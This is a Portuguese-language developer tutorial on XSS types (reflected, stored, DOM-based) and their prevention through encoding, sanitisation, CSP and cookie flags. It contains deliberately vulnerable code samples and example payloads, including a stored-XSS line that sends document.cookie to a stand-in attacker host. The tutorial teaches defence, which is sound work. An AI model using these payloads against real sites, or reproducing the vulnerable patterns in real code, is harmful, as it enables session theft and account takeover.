Cross-Site Scripting (XSS): tipos e prevenção

1. O que é Cross-Site Scripting (XSS) e por que importa para devs

Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança que permite a injeção de scripts maliciosos em páginas web consideradas confiáveis. Quando um atacante consegue inserir código JavaScript arbitrário em uma aplicação, esse script é executado no navegador da vítima com o mesmo nível de privilégio da aplicação legítima.

Os impactos de um ataque XSS bem-sucedido incluem:
- Roubo de cookies de sessão e sequestro de contas
- Desfiguração visual de sites (defacement)
- Redirecionamento para páginas de phishing
- Captura de teclas digitadas (keylogging)
- Execução de ações não autorizadas em nome do usuário

No OWASP Top 10 (2021), XSS aparece como a terceira vulnerabilidade mais crítica em aplicações web, demonstrando sua relevância contínua. Diferentemente de ataques no lado servidor, XSS explora a confiança que o navegador deposita no conteúdo servido pela aplicação.

2. XSS Refletido (Reflected XSS)

O XSS Refletido ocorre quando o script malicioso é refletido imediatamente na resposta HTTP, geralmente através de parâmetros de URL, campos de formulário ou cabeçalhos de requisição. O atacante precisa enganar a vítima para que ela clique em um link especialmente criado.

Exemplo de código vulnerável (PHP):

<?php
$nome = $_GET['nome'];
echo "Olá, " . $nome . "!";
?>

Se um usuário acessar:

http://site.com/saudacao.php?nome=<script>alert('XSS')</script>

O navegador executará o script injetado. Vetores comuns incluem links maliciosos em e-mails, formulários de busca que exibem o termo pesquisado e parâmetros de redirecionamento.

3. XSS Armazenado (Stored XSS)

O XSS Armazenado é mais perigoso porque o script malicioso é persistido no servidor (banco de dados, sistema de arquivos, logs) e executado sempre que a página for carregada. Não requer que a vítima clique em um link específico.

Exemplo de código vulnerável (Node.js/Express com MongoDB):

app.post('/comentario', (req, res) => {
  const comentario = req.body.texto;
  // Sem sanitização - salva diretamente
  db.comentarios.insertOne({ texto: comentario });
});

app.get('/comentarios', (req, res) => {
  db.comentarios.find().toArray((err, comentarios) => {
    let html = '<ul>';
    comentarios.forEach(c => {
      html += '<li>' + c.texto + '</li>';  // VULNERÁVEL
    });
    html += '</ul>';
    res.send(html);
  });
});

Um atacante insere no formulário de comentários:

<script>document.location='http://atacante.com/roubar?cookie='+document.cookie</script>

Todo visitante da página de comentários terá seu cookie de sessão enviado ao atacante. O risco é amplificado porque o ataque atinge múltiplos usuários sem necessidade de interação individual.

4. XSS Baseado em DOM (DOM-based XSS)

O XSS Baseado em DOM ocorre exclusivamente no lado do cliente. A vulnerabilidade reside em código JavaScript que manipula dinamicamente o DOM da página, usando fontes de dados não confiáveis (URL, localStorage, postMessage, document.referrer).

Exemplo de código vulnerável (JavaScript puro):

<script>
  // Lê o parâmetro 'lang' da URL
  const params = new URLSearchParams(window.location.search);
  const lang = params.get('lang');

  // Insere diretamente no DOM - VULNERÁVEL
  document.getElementById('saudacao').innerHTML = 
    'Idioma selecionado: ' + lang;
</script>

Acessando:

http://site.com/pagina.html?lang=<img src=x onerror=alert('XSS')>

O evento onerror da imagem executará o código malicioso. Diferente dos tipos anteriores, o servidor pode nem mesmo processar essa requisição de forma vulnerável — o ataque acontece inteiramente no navegador.

5. Técnicas de prevenção: sanitização e validação de entrada

A prevenção de XSS requer uma abordagem em camadas, sendo a codificação de saída (output encoding) a defesa mais fundamental. O contexto de saída determina qual codificação usar:

HTML Context:

// Entrada do usuário: <script>alert('xss')</script>
// Codificar para: &lt;script&gt;alert('xss')&lt;/script&gt;

JavaScript Context:

// Entrada do usuário: "); alert('xss'); //
// Codificar para: \x22); alert(\x27xss\x27); \x2f\x2f

Validação de entrada (whitelist):

function validarNome(nome) {
  // Aceita apenas letras, espaços e hífens
  const regex = /^[a-zA-ZÀ-ÿ\s\-]+$/;
  if (!regex.test(nome)) {
    throw new Error('Nome inválido');
  }
  return nome;
}

Uso de bibliotecas confiáveis:

// Exemplo com DOMPurify (cliente)
const sujo = "<img src=x onerror=alert('XSS')>";
const limpo = DOMPurify.sanitize(sujo);
document.getElementById('conteudo').innerHTML = limpo;

// Exemplo com OWASP Java Encoder (servidor)
import org.owasp.encoder.Encode;
String seguro = Encode.forHtml(entradaUsuario);

6. Políticas de Segurança de Conteúdo (CSP) como barreira definitiva

CSP (Content Security Policy) é um cabeçalho HTTP que instrui o navegador sobre quais fontes de script são permitidas. Funciona como uma camada de defesa em profundidade — mesmo que um XSS seja injetado, o navegador bloqueia sua execução.

Exemplo de política restritiva:

Content-Security-Policy: default-src 'self'; 
                         script-src 'self' https://cdn.trusted.com; 
                         style-src 'self' 'unsafe-inline'; 
                         img-src 'self' data:;

Armadilhas comuns:
- 'unsafe-inline' — permite scripts inline, anulando grande parte da proteção
- 'unsafe-eval' — permite eval(), setTimeout(string), etc.
- Políticas muito permissivas que incluem CDNs públicas como cdnjs.cloudflare.com

Uso de nonces para scripts inline seguros:

Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">
  // Este script será executado
  const dados = { nome: "João" };
</script>

<script>
  // Este script será bloqueado (sem nonce)
  alert('XSS');
</script>

7. Boas práticas adicionais e mitigações específicas

HttpOnly e Secure flags em cookies de sessão:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly: impede acesso ao cookie via JavaScript (document.cookie)
  • Secure: envia apenas sobre HTTPS
  • SameSite=Strict: previne envio em requisições cross-site

Frameworks modernos com proteção embutida:

React (JSX escapa automaticamente):

function Comentario({ texto }) {
  // JSX escapa por padrão - seguro
  return <div>{texto}</div>;
}

Angular (interpolação segura):

// Seguro - Angular escapa automaticamente
<p>{{ usuario.texto }}</p>

// Perigoso - bypass manual
<p [innerHTML]="usuario.texto"></p>

Ferramentas de análise estática e testes dinâmicos:

Ferramentas SAST (Static Application Security Testing) como SonarQube e Checkmarx analisam código-fonte em busca de padrões vulneráveis. Ferramentas DAST (Dynamic Application Security Testing) como OWASP ZAP e Burp Suite testam a aplicação em execução, tentando injetar payloads XSS.

Referências